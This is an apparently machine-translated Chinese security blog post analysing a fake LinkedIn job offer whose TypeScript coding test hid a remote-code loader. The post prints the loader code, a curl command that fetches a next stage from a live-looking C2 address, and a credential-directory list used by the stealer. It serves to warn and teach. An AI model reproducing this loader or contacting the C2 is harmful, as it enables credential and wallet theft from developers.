一份求职编码测试如何让你系统沦陷

当前IT就业市场的形势很艰难。所以当LinkedIn上的招聘人员基于你之前的经验联系你,说你有合适的匹配新职位时,你就算幸运了。它可能并非乍一看的那样。
“相关机会”,兼职远程工作和优厚的小时薪酬,肯定会吸引许多现役软件工程师在LinkedIn上收到新工作邀请时参与讨论——我有个朋友就遇到了这种情况。
这份工作邀请与之前的经历非常匹配,并且在LinkedIn上发了几条短信后,通过快速发送的编程挑战加快了面试进程。
信息
最初的联系是通过一家公司名义进行的,该公司并不知道这件事。所以纯粹是钓鱼,目的是窃取你的机密和资质。公司对此非常清楚,并且已经发布了一份在LinkedIn上发布帖子解释情况。
在开始测试之前,你可能会对以下几点感到怀疑:
- 联系你的人并不是LinkedIn上公司的成员
- 在收到编码测试之前,没有第一次“了解你”的电话
- 考试可能用的是你擅长的编程语言
- 代码可以在Bitbucket上使用,依我看Bitbucket很少见
- 发件人的电子邮件地址是
@gmail.com而不是公司官方的
事后诸葛亮,所以这里不带评判。
故事的开始
任务是在给定的TypeScript代码库中解决各种问题并扩展逻辑。你收到的项目是
- 大约180个文件
- 既有死代码也有正常代码
- 无混淆或压缩
..但会有一些外部调用https://api.jsonbin.io端点。如果你没读过180个代码文件,那你就上瘾了。
这里有个可疑的代码部分,开始下载更多软件包来检查你的系统。
警告
那是终点,会送出更多垃圾。小心!完整的源代码可在此处找到Bitbucket 仓库.
1
2
3
4
5
6
7
const initPriceConfig = async () => {
const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d";
const res = (await axios.get(`${src}`));
const handler = new (Function.constructor)('require', res.data.record.model);
if (handler) handler(require);
};
initPriceConfig();
应用程序的内部逻辑总是先执行该函数,通过执行npm run dev,npm start,依此类推。正如它所说require在中,它可以:
require('child_process')为了Shell Out。require('fs')对于读/走读文件系统,写持久化require('net')/require('https')开辟自己的撤离通道- 阅读
process.env直接,在这个应用里,这意味着MONGO_URI、JWT_SECRET、SENDGRID_API_KEY、CLOUDINARY_API_SECRET、PAYTM_MERCHANT_KEY
很多事情你极不希望系统上发生。
仔细观察:二级装载机
来自jsonbin.io端点实际上是远程代码执行加载器.该record.model有效载荷为24,686个字符obfuscator.ioJavaScript包裹在一个小型Webpack包上。
解混淆返回的负载后,我们得到了另一批混淆的JavaScript。该代码从C2(指挥与控制)服务器提取数据http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5.
我用这个方法拉取了下一段代码
1
2
3
4
5
6
7
curl -sS -v --max-time 30 \
-H 'Authentication: jwt' \
-H 'Accept: application/json, text/plain, */*' \
-A 'axios/1.5.3' \
-D headers.txt \
-o body.bin \
'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
它需要一个Authentication首部,其中jwt作为象征。该端点提供了更多的混淆JavaScript代码,特别是以下四个模块:
scdata:一个交互式RAT(远程访问木马)
node-pty全壳,ssh2用于枢轴和PEM密钥盗窃,screenshot-desktop+锐利用于截屏,clipboardy, 和@nut-tree-fork/nut-js适用于合成键盘和鼠标。它还能识别虚拟机和裸机的指纹。
ldata浏览器凭证和钱包窃取者。
Chrome/Edge/Brave/LT 在三个操作系统上,所有配置文件:登录数据、网页数据、本地扩展设置、LevelDB 存储和 macOS 登录键链。它可以针对28个钱包扩展,如MetaMask、Phantom、Coinbase、Binance、TronLink、Trust、Keplr、Coin98、OKX、Rabby等。它会无限循环,大约每分钟上传一次。
文件抓取器: 走访家庭目录
它试图寻找私钥,秘密短语,*变形面具*,比特币,索拉纳,.env,*.pem,*.p12,*.pfx,加上文档和图像,以及整体.ssh,.aws,.gnupg以及.docker目录。而且,它枚举了Windows上的所有驱动器代号。
剪贴板显示器:监控你的剪贴板
它轮询剪贴板并发出信标,隐藏在日志名称后面npm-compiler.log.
当受害者连接到147.189.174.138:7321服务器看到被接受套接字上的源地址,就像任何网页服务器看到访客的IP一样。没有发现,没有扫描,没有地址登记。
这正是为什么仅出呼设计对攻击者如此便利:它可以在NAT、CGNAT、企业代理或家用路由器后面工作,且不管受害者IP如何更改。
你只想找份工作,却打开了地狱的大门。
为什么它能访问你所有的文件?
恶意软件会获取当前用户的主目录,然后构建路径以便查看。
1
2
3
4
5
6
7
8
rootDir = os.userInfo().homedir + '',
configDir = [ path.join(os.homedir(), ".aws"),
path.join(os.homedir(), ".ssh"),
path.join(os.homedir(), ".azure"),
path.join(os.homedir(), ".foundry"),
path.join(os.homedir(), ".config"),
//...
]
它从不要求提升。不需要root、UAC,或sudo,因为它没有任何东西是root拥有的。SSH密钥、AWS凭证、浏览器配置文件、钱包数据、.env文件——这些都是用户拥有的,因为你需要定期读取。
在你账户下运行的进程会继承这些访问权限。Node在这里并没有做什么特别的事情cat ~/.ssh/id_rsa从壳体中起作用是一样的。
在Windows上,它不仅限于主页,还通过PowerShell枚举驱动器代号,并在每个根节点调用scanDir,所以映射的网络驱动器和次级磁盘也在范围内。
下次做些预防措施
有几件事本可以有所帮助,虽然永远没有百分之百的保护。你不会指望你在工作机会中得到的代码会有这样的内容。
- 人工智能:弱保护
请你选择的AI扫描项目中是否有异常——比如混淆代码、压缩、调用外部端点、异常代码模式等。这只是部分解,因为它会告诉你调用jsonbin.io但它无法看到返回的值。 - Docker:部分弱保护
把东西放进Docker只执行代码,可以隔离主机系统,不会暴露任何存储的秘密——只要你不把主机数据挂载到容器里。 - 流浪者:可能是你最好的选择
在完全隔离的系统中运行代码甚至可能是最佳选择。先截图虚拟机,恢复后再恢复。如果没有界面/桌面环境,泄露浏览器数据或截图的模块是自我限制的。不过,RAT和文件抓取器依然有效。
注意RAT主动指纹用于虚拟机使用。它运行system_profiler,读道/proc/cpuinfo,以及 的 grepvmware,qemu,microsoft corporation然后对信标(虚拟机)或(本地)进行标记。
这个标志很可能是为操作员进行分流的:虚拟机更可能是沙盒,不太可能存放真正的钱包,因此可能会被降级或更谨慎地处理。
关于AI部分的说明: 克劳德·科德未能探测到任何奇怪只是提示扫描代码库寻找异常模式。
接下来怎么办
当损害发生时,你可能应该:
- 收回并旋转SSH密钥
- 更改密码
- 检查一下你是否有明文秘密或需要更改的信息
…然后重新安装操作系统——小心驶得万年船。
与此同时渔民(假招募员)个人资料已被删除。